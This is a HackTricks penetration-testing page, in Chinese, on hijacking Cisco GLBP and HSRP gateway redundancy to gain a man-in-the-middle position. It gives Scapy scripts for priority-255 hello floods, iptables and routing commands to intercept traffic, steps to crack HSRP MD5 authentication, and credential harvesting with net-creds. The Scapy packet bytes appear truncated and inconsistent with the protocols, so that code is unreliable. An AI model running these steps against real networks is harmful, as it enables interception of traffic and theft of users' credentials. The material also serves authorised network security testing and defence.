GLBP & HSRP 攻击
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
FHRP 劫持概述
关于 FHRP 的解析
FHRP 旨在通过将多台路由器合并为单一虚拟单元来提高网络的稳健性,从而增强负载分配和故障容忍能力。Cisco Systems 引入了该套件中的重要协议,如 GLBP 和 HSRP。
GLBP 协议概述
Cisco 的 GLBP 在 TCP/IP 栈上运行,使用 UDP 端口 3222 进行通信。GLBP 组内的路由器每 3 秒交换一次 “hello” 包。如果某台路由器连续 10 秒未发送这些包,则被认为已离线。但这些定时器不是固定的,可以被修改。
GLBP 在 IPv6 上使用组播地址 FF02::66(通过 UDP/3222),虚拟 MAC 格式为 0007.b4xx.xxyy(AVF ID 在最后一字节)。定时和攻击面与 IPv4 相同,因此在双栈网络中劫持技术仍然有效。
GLBP 操作与负载分配
GLBP 的特点是使用单一虚拟 IP 配合多个虚拟 MAC 地址,在路由器之间实现负载分配。在 GLBP 组中,每台路由器都参与数据包转发。不同于 HSRP/VRRP,GLBP 通过多种机制提供真正的负载均衡:
- 基于主机的负载均衡 (Host-Dependent Load Balancing):为主机保持一致的 AVF MAC 地址分配,对稳定的 NAT 配置至关重要。
- 轮询负载均衡 (Round-Robin Load Balancing):默认方式,在请求的主机间轮换分配 AVF MAC 地址。
- 加权轮询负载均衡 (Weighted Round-Robin Load Balancing):基于预定义的 “Weight” 指标分配负载。
GLBP 的关键组件与术语
- AVG (Active Virtual Gateway):主路由器,负责向对等路由器分配 MAC 地址。
- AVF (Active Virtual Forwarder):负责处理网络流量的路由器。
- GLBP Priority:决定 AVG 的指标,默认值为 100,范围为 1 到 255。
- GLBP Weight:反映路由器当前负载,可手动调整或通过 Object Tracking 动态调整。
- GLBP Virtual IP Address:作为网络中所有连接设备的默认网关。
GLBP 使用保留的组播地址 224.0.0.102 和 UDP 端口 3222 进行交互。路由器每 3 秒发送一次 “hello” 包,若在 10 秒内丢失包则被视为不可用。
GLBP 攻击机制
攻击者可以通过发送具有最高 priority 值(255)的 GLBP 包成为主路由器。这可能导致 DoS 或 MITM 攻击,使流量被拦截或重定向。
Practical GLBP hijack with Scapy (short PoC)
from scapy.all import *
vip = "10.10.100.254" # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64" # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)
构造有效载荷字节以模拟 GLBP 报头(version/opcode/priority/weight/VRID)。循环发送该帧可以确保在未启用认证的情况下赢得 AVG 选举。
使用 Loki 执行 GLBP 攻击
Loki 可以通过注入 priority 和 weight 设置为 255 的数据包来执行 GLBP 攻击。攻击前需要收集信息,例如 virtual IP 地址、是否存在认证,以及路由器的 priority 值,通常使用 Wireshark 等工具。
Attack Steps:
- 将网卡切换到 promiscuous mode 并启用 IP forwarding。
- 识别目标路由器并获取其 IP。
- 生成 Gratuitous ARP。
- 注入恶意 GLBP 数据包,冒充 AVG。
- 在攻击者的网络接口上分配一个 secondary IP 地址,镜像 GLBP 的 virtual IP。
- 实施 SNAT 以实现对所有流量的可见性。
- 调整路由,确保通过原始 AVG 路由器持续访问互联网。
按照这些步骤,攻击者会将自己置于“man in the middle”位置,能够拦截并分析网络流量,包括未加密或敏感的数据。
For demonstration, here are the required command snippets:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
可以使用 net-creds.py 或类似工具监控并拦截流经被攻陷网络的数据,以捕获并分析流量。
被动说明 HSRP Hijacking 的命令细节
HSRP(Hot Standby Router/Redundancy Protocol)概述
HSRP 是 Cisco 的专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为具有共享 IP 地址的单一逻辑单元。该逻辑单元由负责转发流量的主路由器管理。与使用 priority 和 weight 等度量进行负载均衡的 GLBP 不同,HSRP 依赖单一 active 路由器来管理流量。
HSRPv1 使用 multicast 224.0.0.2 和虚拟 MAC 0000.0c07.acXX;HSRPv2 和 HSRPv2 for IPv6 使用 224.0.0.102 / FF02::66 和虚拟 MAC 0000.0c9f.fXXX。UDP 目标端口为 IPv4 的 1985,IPv6 的 2029。
HSRP 的角色与术语
- HSRP Active Router:充当网关的设备,负责管理流量转发。
- HSRP Standby Router:作为备份的路由器,在 active 路由器故障时准备接管。
- HSRP Group:一组路由器协同工作以形成单一的高可用虚拟路由器。
- HSRP MAC Address:分配给 HSRP 逻辑路由器的虚拟 MAC 地址。
- HSRP Virtual IP Address:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。
HSRP 版本
HSRP 有两个版本,HSRPv1 和 HSRPv2,主要在组容量、多播 IP 使用以及虚拟 MAC 地址结构上有所不同。该协议使用特定的多播 IP 地址来交换服务信息,Hello 包每 3 秒发送一次。如果在 10 秒内未收到包,则认为该路由器不再活动。
HSRP 攻击机制
HSRP 攻击涉及通过注入最大 priority 值强行接管 Active Router 的角色。这可能导致 Man-In-The-Middle (MITM) 攻击。关键的攻击前步骤包括收集有关 HSRP 配置的数据,这可以使用 Wireshark 进行流量分析来完成。
Quick HSRP takeover with Scapy
from scapy.all import *
vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01" # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)
如果身份验证 未 配置,通过持续发送具有更高优先级的 hello 报文会强制对端进入 Speak/Listen 状态,并让你成为 Active,从而通过你的主机重定向流量。
HSRP authentication 注意事项
- 旧的明文身份验证极易被伪造。
- MD5 authentication 仅涵盖 HSRP 负载;经过伪造的数据包仍然可以对控制平面造成速率限制/DoS。某些 NX-OS 版本之前允许对受身份验证保护的组进行 DoS(参见 Cisco advisory CSCup11309)。
- 在许多 ISP / VPS 共享 VLAN 上,HSRPv1 的多播对租户可见;如果没有身份验证,您可以加入并抢占流量。
绕过 HSRP 身份验证的步骤
- 将包含 HSRP 数据的网络流量保存为 .pcap 文件。
tcpdump -w hsrp_traffic.pcap
- 使用 hsrp2john.py 从 .pcap 文件提取 MD5 哈希。
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- 使用 John the Ripper 破解 MD5 哈希。
john --wordlist=mywordlist.txt hsrp_hashes
使用 Loki 执行 HSRP 注入
- 启动 Loki 以识别 HSRP 广告。
- 将网络接口设置为混杂模式并启用 IP 转发。
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- 使用 Loki 针对特定路由器,输入已破解的 HSRP 密码,并进行必要配置以冒充 Active Router。
- 获得 Active Router 角色后,配置你的网络接口和 IP 表以拦截合法流量。
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- 修改路由表以通过原先的 Active Router 路由流量。
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- 使用 net-creds.py 或类似工具从拦截到的流量中抓取凭证。
sudo python2 net-creds.py -i eth0
执行这些步骤会使攻击者处于拦截并操纵流量的位置,类似于 GLBP 劫持的过程。这凸显了像 HSRP 这样的冗余协议中的漏洞以及对强健安全措施的需求。
参考资料
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Cisco NX-OS HSRP authentication DoS (CSCup11309)
- Reddit: HSRP seen on VPS shared VLANs
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


